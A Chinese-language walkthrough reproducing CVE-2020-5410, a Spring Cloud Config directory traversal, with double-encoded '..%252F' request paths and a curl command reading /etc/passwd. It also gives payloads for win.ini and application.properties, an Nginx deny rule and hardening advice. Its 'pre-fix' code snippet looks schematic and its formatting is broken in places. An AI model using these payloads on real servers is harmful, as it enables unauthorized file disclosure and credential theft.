# Spring Cloud Config 目錄穿越漏洞CVE-2020-5410的復現分析
## 漏洞概述
CVE-2020-5410是Spring Cloud Config Server中的一個目錄穿越漏洞,于2020年6月被報告并修復。該漏洞允許攻擊者通過構造特殊的HTTP請求路徑,訪問配置服務器文件系統上的任意文件,可能導致敏感信息泄露。
**影響版本**:
- Spring Cloud Config Server 2.2.x 至 2.2.2
- Spring Cloud Config Server 2.1.x 至 2.1.7
- 更早的未修復版本
## 漏洞原理分析
### 背景知識
Spring Cloud Config Server提供了一個中心化的外部配置管理服務,支持從Git倉庫、本地文件系統等位置讀取配置文件。當客戶端請求配置時,通常使用如下格式的URL:
/{application}/{profile}[/{label}] /{application}-{profile}.yml /{label}/{application}-{profile}.yml
### 漏洞成因
問題出在`PathUtils.java`中對路徑規范化的處理邏輯上。攻擊者可以通過以下方式繞過安全限制:
1. **雙重編碼攻擊**:使用URL編碼的`../`(如`%252E%252E%252F`)
2. **路徑拼接問題**:未正確處理包含特殊字符的路徑
當服務器處理形如`/{name}/master/..%252F..%252F..%252Fetc%252Fpasswd`的請求時,路徑規范化邏輯失效,導致可以訪問系統任意文件。
## 環境搭建
### 準備漏洞環境
```bash
# 使用Docker快速搭建漏洞環境
docker pull vulhub/spring-cloud-config:2.2.1.RELEASE
docker run -d -p 8888:8888 vulhub/spring-cloud-config:2.2.1.RELEASE
或手動搭建:
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-config-server</artifactId>
<version>2.2.1.RELEASE</version>
</dependency>
@SpringBootApplication
@EnableConfigServer
public class ConfigServerApplication {
public static void main(String[] args) {
SpringApplication.run(ConfigServerApplication.class, args);
}
}
構造特殊URL訪問系統文件:
http://localhost:8888/foo/default/master/..%252F..%252F..%252Fetc%252Fpasswd
curl -v "http://localhost:8888/foo/default/master/..%252F..%252F..%252Fetc%252Fpasswd"
成功利用時,將返回目標系統的/etc/passwd
文件內容:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
升級到以下版本: - Spring Cloud Config 2.2.3+ - Spring Cloud Config 2.1.8+
修復方式:
1. 在PathUtils.java
中改進路徑規范化邏輯
2. 添加對雙重編碼的防護
如果無法立即升級:
# application.properties
spring.cloud.config.server.git.uri=file:///safe/config/path/
# Nginx配置示例
location ~ /(\\.\\.|%2E%2E|%252E%252E)/ {
return 403;
}
ResourceController
處理客戶端請求PathUtils#getFilePath
處理路徑關鍵問題代碼段:
// 修復前的PathUtils.java
public static String getFilePath(String path) {
path = path.replace("/", ""); // 不安全的處理
path = URLDecoder.decode(path, "UTF-8");
// ...
}
除了讀取文件,還可以嘗試: 1. 訪問Windows系統文件:
..%252F..%252F..%252F..%252F..%252FWindows%252Fwin.ini
..%252F..%252F..%252F..%252Fapplication.properties
最小權限原則:
深度防御:
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests()
.antMatchers("/**").authenticated()
.and().httpBasic();
}
}
持續監控:
CVE-2020-5410展示了即使是在成熟框架中,路徑處理也可能存在安全隱患。通過本次復現我們了解到:
時間線: - 2020-06-03:漏洞報告 - 2020-06-16:官方發布修復版本 - 2020-06-18:CVE正式分配
”`
注:實際使用時請注意: 1. 復現漏洞需在授權環境下進行 2. 部分路徑需要根據實際環境調整 3. 文中的IP/端口需替換為實際測試環境 4. 建議在隔離的測試環境中操作
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。